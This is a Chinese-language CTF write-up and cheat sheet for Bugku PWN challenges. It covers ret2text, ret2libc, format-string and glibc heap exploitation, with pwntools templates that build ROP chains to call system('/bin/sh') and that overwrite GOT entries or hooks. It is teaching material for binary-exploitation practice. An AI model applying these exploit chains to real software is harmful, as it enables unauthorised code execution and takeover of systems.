Bugku PWN 题解总集:ret2text / 格式化字符串 / 堆利用
平台:ctf.bugku.com|范围:PWN(二进制利用) 原则:先 checksec 定路线,再找原语,最后本地→远程。没有原语的「堆技巧」毫无意义。
0. 路线图
| 保护 | 可行路线 |
|---|---|
| 无 NX | 直接ret2shellcode(栈上执行)或ret2text |
| NX 开、无 PIE/Canary | ret2text(跳已有函数)、ret2libc(泄露→计算) |
| PIE 开 | 先泄露代码基址(puts/格式化串) |
| Canary 开 | 泄露 canary(格式化串/越界读)或__stack_chk_fail劫持 |
| Full RELRO | 不打 GOT,改__malloc_hook/__free_hook(旧 glibc)或 FSOP |
图 1:保护组合 → 可利用原语 → 利用链(Archify architecture)
1. ret2text:最基础也最高频
场景:栈溢出 + 程序里已有system("/bin/sh")或get_flag()函数。
from pwn import * p = process('./pwn') # 或 remote('host', port) payload = b'A' * offset # 到返回地址的偏移 payload += p64(0) # 64 位下 system 需对齐(必要时加 ret gadget) payload += p64(pop_rdi_ret) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()关键点:
- 偏移用「循环填充 + 崩溃地址」实测,不要靠数;
- x86_64 的
system要求 16 字节栈对齐 → 崩了就插一个ret; - 若目标只打印 flag 不给你 shell,直接跳到打印函数更快。
2. ret2libc:泄露 → 计算 → 二次利用
# 第一次:泄露 libc 地址 p.recvuntil(b'name:') payload = b'A'*offset + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) p.sendline(payload) leak = u64(p.recv(6).ljust(8, b'\0')) libc_base = leak - libc.symbols['puts'] # 第二次:打 system('/bin/sh') payload2 = b'A'*offset + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc_base + libc.symbols['system'])坑:
- 本地 libc 与远程不一致 → 用泄露值查 libc 版本(
libc-database或泄露后三位估算); puts遇到\x0a会截断 → 换write/printf;- 第二次利用需要
main重入(或leave;ret栈迁移)。
3. 格式化字符串:读写双用
3.1 定偏移
p.sendline(b'AAAA' + b'.%p'*10) # 观察第几个 %p 输出 0x41414141 → 该位置就是偏移 k3.2 任意写
from pwn import fmtstr_payload payload = fmtstr_payload(k, {target_addr: value}, write_size='short')3.3 利用目标
- 改写 GOT(
printf@got→system@plt); - 改写返回地址;
- 改写
__stack_chk_fail@got绕过 canary; - 只读泄露:
%s指向任意地址读内存(找 flag 字符串)。
坑:payload 长度受输入限制 → 分多次写;%n被禁 → 用%hhn分 4 次;目标地址含\x00→ 放到末尾。
4. 堆利用:先看 glibc 版本
| glibc | 可用原语 |
|---|---|
| 2.23 | fastbin dup、unsafe unlink、__malloc_hook |
| 2.27 | tcache dup(无校验)、__free_hook |
| 2.31 | tcache 加 key 校验、tcache stashing unlink |
| 2.32+ | safe-linking(指针加密)、FSOP 为主 |
4.1 标准流程
pwn checksec+libc-version(泄露或题目给的.so);- 找堆操作菜单:
add/free/edit/show; - 判断漏洞类型:UAF(free 后仍可 edit)、off-by-one、double free、堆溢出;
- 构造原语:
tcache dup拿任意地址写 → 覆盖__free_hook为system→free("/bin/sh"); - 旧版无 hook 时走 FSOP(
_IO_2_1_stdout_的 vtable/_IO_str_overflow)。
4.2 典型坑
| 坑 | 现象 | 处理 |
|---|---|---|
| 索引/大小校验 | 只能 free 一次 | 用 double free 绕或换 chunk 大小 |
| 输出截断 | puts遇\x00 | 先泄露再写,或换write |
| 堆地址随机 | 需泄露 | 用 unsorted bin 的main_arena泄露 |
| 交互时序 | 远程卡住 | 用recvuntil精确对齐,别用sleep |
5. 本地通 → 远程稳
- 同 libc:本地用题目给的
libc.so.6+LD_PRELOAD; - 同环境:容器/Docker 里跑一遍,确认没有运气成分;
- 幂等:脚本能重复跑 10 次都成功才算稳;
- 超时处理:远程网络抖动 → 加 retry 包装,别把偶发成功当稳定。
6. 一页检查表
[ ] checksec 四条保护记下来了吗? [ ] 溢出偏移是实测的吗? [ ] 64 位栈对齐处理了吗? [ ] 泄露源选得对吗(puts 截断风险)? [ ] libc 版本与远程一致吗? [ ] 堆题:glibc 版本对应的原语选对了吗? [ ] 脚本跑 10 次都成功吗?7. 图形附件(Archify)
| 图 | 文件 | 说明 |
|---|---|---|
| PWN 保护与利用路线 | pwn-arch.html(交互图,本地交付包) | 栈/格式化/堆三类原语与工具 |
| PWN 作战流程 | pwn-timeline.html(交互图,本地交付包) | 保护检查→定位→原语→本地→远程 |
流程视图
从判型到归档的主线流程:每步都要求留下原始输出,结论必须能被独立脚本重跑。
两图archify check均issues: [];archify finalize均ok:true+browser-check:pass;正文内嵌同源 PNG 截图。